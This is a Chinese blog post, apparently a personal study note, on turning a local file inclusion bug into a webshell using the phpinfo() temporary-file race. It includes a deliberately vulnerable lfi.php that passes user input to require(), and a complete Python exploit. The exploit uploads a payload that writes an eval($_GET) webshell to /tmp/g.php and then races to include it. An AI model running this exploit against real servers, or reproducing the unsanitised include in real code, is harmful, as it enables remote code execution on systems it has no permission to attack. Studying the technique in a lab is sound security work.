zoukankan      html  css  js  c++  java
  • LFI(本地文件包含)获取Webshell

          本地文件包含在Web渗透测试中时不时的会遇到。之前遇到本地文件包含的时候,最多就是证明一下:比如包含“/etc/passwd”。有利用本地文件包含来进行Getshell的,之前是略有耳闻的,这两天看相关文章的时候,好奇一下自己搭环境实现了一遍。很老的技术了,看老外在2011年就写了相关文章,不过文章中的Python程序是有问题的。我会在最后把自己修改的代码分享出来。

          关于原理可以参照老外的这篇文章:

          https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

          Freebuf上也有写的很详细的文章:

          http://www.freebuf.com/articles/web/79830.html

          我遇到的几个问题:

          首先,遇到的问题是收到的HTTP请求,我在用Python本地打印的时候是一团乱码。通过检查HTTP首部的时候,发现我在POST Request的时候,加上了“Accept-Encoding: gzip, deflate”。返回的Response中内容部分都是gzip压缩了。后来,我在Request的时候把“Accept-Encoding: gzip, deflate”删掉了,这样Response得到的就是未压缩的了。

          其次,我在GET Request的时候,错误的组合了HTTP Header,在Wireshark抓包的时候,一直出现400 Bad Request。(参照源码的缘故),最后发现这个坑,是老外给的Python源码中组合GET Request有误。重新组织GET Request之后,就OK了。

          在这里,要稍微强调一下,组织Request的时候,一定要注意回车换行符(CRLF)。我之前不注意回车换行符,也导致最后的Exploit写出来有问题。下面是我抓的几个包:在首部和主体之间是有一个回车换行符的:

    GET1

          注意上面选中的部分,这个回车换行符是必须有的。在它之后再增加也是没有关系的,就算是加上内容也没关系。因为GET请求中,主体中是没有内容的,所有即使加上了内容,抓包的时候也不会显示出来,但是在最下面的部分会体现出来。如下图所示:

          多了一个回车换行符的情况:

    GET2

          主体部分有内容的情况:

    GET3

          看见没,在Wireshark的数据包细节都是没有体现出来的(因为增加的部分不符合GET Request的要求?我这么觉得),而在最下面的数据包字节(原始数据包)体现出来了。

          场景重现:

          我在本地使用了两台虚拟机来进行场景重现。攻击机为Kali_X64_2.0,目标机为ubuntu_14.04.1_Server_X64。目标机的/var/www/html下有phpinfo.php和lfi.php两个文件。

          经过前期的实验,发现PHP脚本处理POST请求时,会在/tmp下生成临时文件。在实验开始的时候,利用inotifywait命令来监控对tmp文件和目录的访问记录。

          命令为:inotifywait –m –r /tmp;运行截图如下:

    inotifywait1

          攻击机运行写的Exploit脚本,运行结果如下:

    lfi_attack

          目标机inotifywait监控得到的结果,部分截图如下。(注意红色框中内容,说明已经写入SHELL成功了):

    inotifywait

          源码分享:

          phpinfo.php:

    <?php
        phpinfo();
       ?>

          lfi.php:

    <?php 
        require($_GET['load']);
       ?>

          lfi_attack.py:

    #!/usr/bin/env python
    # __author__ = 'ShadonSniper'
    
    import sys
    import threading
    import socket
    def setup(host, port):
        TAG="Locale File Include Vulns!!!"
        PAYLOAD="""%s
    <?php $c=fopen('/tmp/g.php','w');fwrite($c,'<?php eval($_GET["f"]);?>');?>
    """ % TAG
        REQ1_DATA="""-----------------------------68124396905382484903242131
    """+
             """Content-Disposition: form-data; name="userfile"; filename="test.txt"
    """+
             """Content-Type: text/plain
    """+"""
    """+
             """%s
    -----------------------------68124396905382484903242131--""" % PAYLOAD
        padding="A" * 8000
        REQ1="""POST /phpinfo.php?a=%s HTTP/1.1
    """%padding
        temp="""Host: %s
    """%host
        REQ1 = REQ1+temp
        REQ1=REQ1+"""User-Agent: """+padding+"""
    """+
             """Accept: """+padding+"""
    """+
             """Accept-Language: """+padding+"""
    """+
             """Accept-Encoding: """+padding+"""
    """+
             """Connection: keep-alive
    """+
             """Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131
    """
        REQ1=REQ1+"""Content-Length: %s
    
    """%(len(REQ1_DATA))
        REQ1=REQ1+"""%s"""%REQ1_DATA
        #modify this to suit the LFI script
        LFIREQ="""GET /lfi.php?load=%s HTTP/1.1
    """+
            """Host: %s
    """+
            """User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1
    """+
            """Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    """+
            """Accept-Language: en-US,en;q=0.5
    """+
            """Connection: keep-alive
    
    """
    
        #print REQ1
        return (REQ1, TAG, LFIREQ)
    def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s2.connect((host, port))
    
        s.send(phpinforeq)
        d = ""
        while len(d) < offset:
            d += s.recv(offset)
        try:
            i = d.index("[tmp_name] =&gt")
            fn = d[i+17:i+31]
            #print fn
        except ValueError:
            return None
    
        s2.send(lfireq % (fn, host))
        d = s2.recv(4096)
        s.close()
        s2.close()
    
        if d.find(tag) != -1:
            return fn
    
    counter=0
    class ThreadWorker(threading.Thread):
        def __init__(self, e, l, m, *args):
            threading.Thread.__init__(self)
            self.event = e
            self.lock = l
            self.maxattempts = m
            self.args = args
    
        def run(self):
            global counter
            while not self.event.is_set():
                with self.lock:
                    if counter >= self.maxattempts:
                        return
                    counter+=1
                try:
                    x = phpInfoLFI(*self.args)
                    if self.event.is_set():
                        break
                    if x:
                        print "
    Got it! Shell created in /tmp/g"
                        self.event.set()
    
                except socket.error:
                    return
    
    def getOffset(host, port, phpinforeq):
        """Gets offset of tmp_name in the php output"""
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,port))
        s.send(phpinforeq)
    
        d = ""
        while True:
            i = s.recv(4096)
            d+=i
            if i == "":
                break
            # detect the final chunk
            if i.endswith("0
    
    "):
                break
        s.close()
        i = d.find("[tmp_name] =&gt")
        if i == -1:
            raise ValueError("No php tmp_name in phpinfo output")
    
        print "found %s at %i" % (d[i:i+10],i)
        # padded up a bit
        return i+256
    
    def main():
        print "LFI With PHPInfo()"
        print "-=" * 30
        if len(sys.argv) < 2:
            print "Usage: %s host [port] [threads]" % sys.argv[0]
            sys.exit(1)
        try:
            host = socket.gethostbyname(sys.argv[1])
        except socket.error, e:
            print "Error with hostname %s: %s" % (sys.argv[1], e)
            sys.exit(1)
        port=80
        try:
            port = int(sys.argv[2])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with port %d: %s" % (sys.argv[2], e)
            sys.exit(1)
    
        poolsz=10
        try:
            poolsz = int(sys.argv[3])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with poolsz %d: %s" % (sys.argv[3], e)
            sys.exit(1)
    
        print "Getting initial offset...",
        reqphp, tag, reqlfi = setup(host, port)
        offset = getOffset(host, port, reqphp)
        sys.stdout.flush()
    
        maxattempts = 1000
        e = threading.Event()
        l = threading.Lock()
    
        print "Spawning worker pool (%d)..." % poolsz
        sys.stdout.flush()
    
        tp = []
        for i in range(0,poolsz):
            tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
        for t in tp:
            t.start()
        try:
            while not e.wait(1):
                if e.is_set():
                    break
                with l:
                    sys.stdout.write( "
    % 4d / % 4d" % (counter, maxattempts))
                    sys.stdout.flush()
                    if counter >= maxattempts:
                        break
            print
            if e.is_set():
                print "Woot! m/"
            else:
                print ":("
        except KeyboardInterrupt:
            print "
    Telling threads to shutdown..."
            e.set()
    
        print "Shuttin' down..."
        for t in tp:
            t.join()
    if __name__=="__main__":
        main()

          好了,记个笔记,加深印象。

  • 相关阅读:
    《数据可视化之美》阅读(二)
    《数据可视化之美》阅读
    D3学习之动画和变换
    Java学习之垃圾回收
    程序员思维修炼 --- 读书笔记(二)
    程序员思维修炼 --- 读书笔记(一)
    Java 学习笔记 ------第六章 继承与多态
    Java 学习笔记 ------第五章 对象封装
    Java 学习笔记 ------第四章 认识对象
    (转)synchronized底层实现原理&CAS操作&偏向锁、轻量级锁,重量级锁、自旋锁、自适应自旋锁、锁消除、锁粗化
  • 原文地址:https://www.cnblogs.com/hiccup/p/5423970.html
Copyright © 2011-2022 走看看